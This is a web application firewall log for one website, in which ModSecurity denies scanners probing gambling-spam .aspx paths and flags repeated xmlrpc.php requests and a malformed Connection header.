[Mon Apr 27 03:52:45.870571 2026] [:error] [pid 57732:tid 57737] [client 95.217.109.26:61240] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ae5tDQtZlxLLBYGgnwXF1QAAAMM"]
[Mon Apr 27 03:52:48.082741 2026] [:error] [pid 57641:tid 57695] [client 95.217.109.26:56304] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ae5tEAvMJZl-rLCP5-xxvwAAAFE"]
[Mon Apr 27 03:52:50.118900 2026] [:error] [pid 57642:tid 57720] [client 95.217.109.26:56314] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ae5tEneVE4AIn9J9f8vSqAAAAI8"]
[Mon Apr 27 03:53:44.019361 2026] [:error] [pid 57642:tid 57706] [client 95.217.109.26:33702] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ae5tSHeVE4AIn9J9f8vTHQAAAIE"]
[Mon Apr 27 03:53:46.073096 2026] [:error] [pid 57641:tid 57697] [client 95.217.109.26:33712] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ae5tSgvMJZl-rLCP5-xx_gAAAFM"]
[Mon Apr 27 03:53:48.265544 2026] [:error] [pid 57642:tid 57716] [client 95.217.109.26:53154] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ae5tTHeVE4AIn9J9f8vTRgAAAIs"]
[Mon Apr 27 03:53:50.312509 2026] [:error] [pid 57732:tid 57737] [client 95.217.109.26:53158] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ae5tTgtZlxLLBYGgnwXGdQAAAMM"]
[Mon Apr 27 03:53:52.483930 2026] [:error] [pid 57732:tid 57758] [client 95.217.109.26:53164] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ae5tUAtZlxLLBYGgnwXGewAAANg"]
[Mon Apr 27 03:53:56.605161 2026] [:error] [pid 57639:tid 57652] [client 95.217.109.26:14014] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ae5tVFjZKBsyFQNs1C0y4QAAAAE"]
[Mon Apr 27 03:53:58.810444 2026] [:error] [pid 57639:tid 57664] [client 95.217.109.26:14026] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ae5tVljZKBsyFQNs1C0y5AAAAA0"]
[Mon Apr 27 03:54:00.818316 2026] [:error] [pid 57642:tid 57717] [client 95.217.109.26:14040] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ae5tWHeVE4AIn9J9f8vTUgAAAIw"]
[Mon Apr 27 03:54:02.939390 2026] [:error] [pid 57732:tid 57746] [client 95.217.109.26:14052] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ae5tWgtZlxLLBYGgnwXGowAAAMw"]
[Mon Apr 27 03:54:05.101040 2026] [:error] [pid 57641:tid 57680] [client 95.217.109.26:14060] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ae5tXQvMJZl-rLCP5-xyNAAAAEI"]
[Mon Apr 27 03:54:07.329049 2026] [:error] [pid 57732:tid 57743] [client 95.217.109.26:37318] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ae5tXwtZlxLLBYGgnwXGsQAAAMk"]
[Mon Apr 27 03:54:09.436499 2026] [:error] [pid 57641:tid 57684] [client 95.217.109.26:37334] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ae5tYQvMJZl-rLCP5-xyOgAAAEY"]
[Mon Apr 27 03:54:17.694250 2026] [:error] [pid 22645:tid 22658] [client 95.217.109.26:37374] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ae5taX-Pq2r302zQbMZ8iQAAAAM"]
[Mon Apr 27 03:54:19.743652 2026] [:error] [pid 22647:tid 22711] [client 95.217.109.26:9338] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ae5ta2jfVULTjnk5SzNf3wAAAIE"]
[Mon Apr 27 03:54:21.926717 2026] [:error] [pid 22646:tid 22690] [client 95.217.109.26:9354] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ae5tbYk_HyZhTP6AYadcogAAAEc"]
[Mon Apr 27 03:54:24.005648 2026] [:error] [pid 22647:tid 22729] [client 95.217.109.26:9370] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ae5tcGjfVULTjnk5SzNf7AAAAJM"]
[Mon Apr 27 03:54:26.182758 2026] [:error] [pid 22646:tid 22705] [client 95.217.109.26:9372] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ae5tcok_HyZhTP6AYadcqQAAAFY"]
[Mon Apr 27 03:54:31.827381 2026] [:error] [pid 22751:tid 22764] [client 95.217.109.26:36084] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ae5tdyc0tCpVyVdFok9WoQAAAMo"]
[Mon Apr 27 03:54:33.819321 2026] [:error] [pid 22751:tid 22758] [client 95.217.109.26:36094] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ae5teSc0tCpVyVdFok9WrAAAAMQ"]
[Mon Apr 27 03:54:35.959565 2026] [:error] [pid 22646:tid 22705] [client 95.217.109.26:36110] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ae5te4k_HyZhTP6AYadcswAAAFY"]
[Mon Apr 27 04:35:39.559208 2026] [:error] [pid 22646:tid 22701] [client 38.52.222.46:54459] [client 38.52.222.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.52.222.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae53G4k_HyZhTP6AYadr_AAAAFI"]
[Mon Apr 27 04:35:49.253164 2026] [:error] [pid 22647:tid 22733] [client 38.52.222.46:53178] [client 38.52.222.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.52.222.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae53JWjfVULTjnk5SzNyJQAAAJc"]
[Mon Apr 27 04:35:59.845772 2026] [:error] [pid 22645:tid 22667] [client 38.52.222.46:63804] [client 38.52.222.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.52.222.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae53L3-Pq2r302zQbMaJ5QAAAAw"]
[Mon Apr 27 04:36:10.275945 2026] [:error] [pid 22751:tid 22772] [client 38.52.222.46:64832] [client 38.52.222.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.52.222.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae53Oic0tCpVyVdFok9zGAAAANI"]
[Mon Apr 27 04:36:20.804069 2026] [:error] [pid 22751:tid 22754] [client 38.52.222.46:52452] [client 38.52.222.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.52.222.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae53RCc0tCpVyVdFok9zNAAAAME"]
[Mon Apr 27 05:17:56.184978 2026] [:error] [pid 22751:tid 22763] [client 43.166.128.187:52406] [client 43.166.128.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae6BBCc0tCpVyVdFok-RQwAAAMk"]
[Mon Apr 27 05:29:13.508086 2026] [:error] [pid 22647:tid 22724] [client 147.135.128.94:49390] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ae6DqWjfVULTjnk5SzOLFAAAAI4"]
[Mon Apr 27 05:29:15.420653 2026] [:error] [pid 22646:tid 22689] [client 147.135.128.94:55616] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ae6Dq4k_HyZhTP6AYaeAiQAAAEY"]
[Mon Apr 27 05:29:17.246595 2026] [:error] [pid 22751:tid 22777] [client 147.135.128.94:41114] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ae6DrSc0tCpVyVdFok-YNQAAANc"]
[Mon Apr 27 05:29:19.238613 2026] [:error] [pid 22647:tid 22726] [client 147.135.128.94:41124] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ae6Dr2jfVULTjnk5SzOLKAAAAJA"]
[Mon Apr 27 05:29:21.215572 2026] [:error] [pid 22751:tid 22774] [client 147.135.128.94:41132] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ae6DsSc0tCpVyVdFok-YSQAAANQ"]
[Mon Apr 27 05:29:23.190443 2026] [:error] [pid 22647:tid 22726] [client 147.135.128.94:41146] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ae6Ds2jfVULTjnk5SzOLLgAAAJA"]
[Mon Apr 27 05:29:25.172393 2026] [:error] [pid 22645:tid 22656] [client 147.135.128.94:41152] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ae6DtX-Pq2r302zQbMaa7gAAAAE"]
[Mon Apr 27 05:29:27.158879 2026] [:error] [pid 22751:tid 22769] [client 147.135.128.94:41168] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ae6Dtyc0tCpVyVdFok-YWgAAAM8"]
[Mon Apr 27 05:29:29.144083 2026] [:error] [pid 22646:tid 22688] [client 147.135.128.94:50432] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ae6DuYk_HyZhTP6AYaeAnQAAAEU"]
[Mon Apr 27 05:29:31.120703 2026] [:error] [pid 22646:tid 22691] [client 147.135.128.94:50440] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ae6Du4k_HyZhTP6AYaeAoQAAAEg"]
[Mon Apr 27 05:29:33.094930 2026] [:error] [pid 22646:tid 22706] [client 147.135.128.94:50446] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ae6DvYk_HyZhTP6AYaeApAAAAFc"]
[Mon Apr 27 05:29:35.076328 2026] [:error] [pid 22647:tid 22722] [client 147.135.128.94:50448] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ae6Dv2jfVULTjnk5SzOLWgAAAIw"]
[Mon Apr 27 05:29:37.058488 2026] [:error] [pid 22751:tid 22769] [client 147.135.128.94:50462] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ae6DwSc0tCpVyVdFok-YbAAAAM8"]
[Mon Apr 27 05:29:39.041384 2026] [:error] [pid 22645:tid 22666] [client 147.135.128.94:54034] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ae6Dw3-Pq2r302zQbMabAAAAAAs"]
[Mon Apr 27 05:29:40.865923 2026] [:error] [pid 22647:tid 22717] [client 147.135.128.94:54038] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ae6DxGjfVULTjnk5SzOLagAAAIc"]
[Mon Apr 27 05:29:42.848423 2026] [:error] [pid 22646:tid 22699] [client 147.135.128.94:54042] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ae6Dxok_HyZhTP6AYaeAvAAAAFA"]
[Mon Apr 27 05:29:44.825884 2026] [:error] [pid 22646:tid 22695] [client 147.135.128.94:54050] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ae6DyIk_HyZhTP6AYaeAxAAAAEw"]
[Mon Apr 27 05:29:46.801319 2026] [:error] [pid 22647:tid 22725] [client 147.135.128.94:54060] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ae6DymjfVULTjnk5SzOLiwAAAI8"]
[Mon Apr 27 05:29:48.780563 2026] [:error] [pid 22646:tid 22691] [client 147.135.128.94:58150] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ae6DzIk_HyZhTP6AYaeAzgAAAEg"]
[Mon Apr 27 05:29:50.768562 2026] [:error] [pid 22646:tid 22686] [client 147.135.128.94:58154] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ae6Dzok_HyZhTP6AYaeA0QAAAEM"]
[Mon Apr 27 05:29:52.739660 2026] [:error] [pid 22751:tid 22778] [client 147.135.128.94:58164] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ae6D0Cc0tCpVyVdFok-YiwAAANg"]
[Mon Apr 27 05:29:54.575128 2026] [:error] [pid 22751:tid 22771] [client 147.135.128.94:58178] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ae6D0ic0tCpVyVdFok-YkQAAANE"]
[Mon Apr 27 05:29:56.547083 2026] [:error] [pid 22646:tid 22685] [client 147.135.128.94:58192] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ae6D1Ik_HyZhTP6AYaeA1wAAAEI"]
[Mon Apr 27 05:29:58.375457 2026] [:error] [pid 22646:tid 22684] [client 147.135.128.94:52280] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ae6D1ok_HyZhTP6AYaeA2gAAAEE"]
[Mon Apr 27 05:30:00.355195 2026] [:error] [pid 22646:tid 22707] [client 147.135.128.94:52282] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ae6D2Ik_HyZhTP6AYaeA4gAAAFg"]
[Mon Apr 27 05:30:02.189659 2026] [:error] [pid 22751:tid 22773] [client 147.135.128.94:52292] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ae6D2ic0tCpVyVdFok-YqAAAANM"]
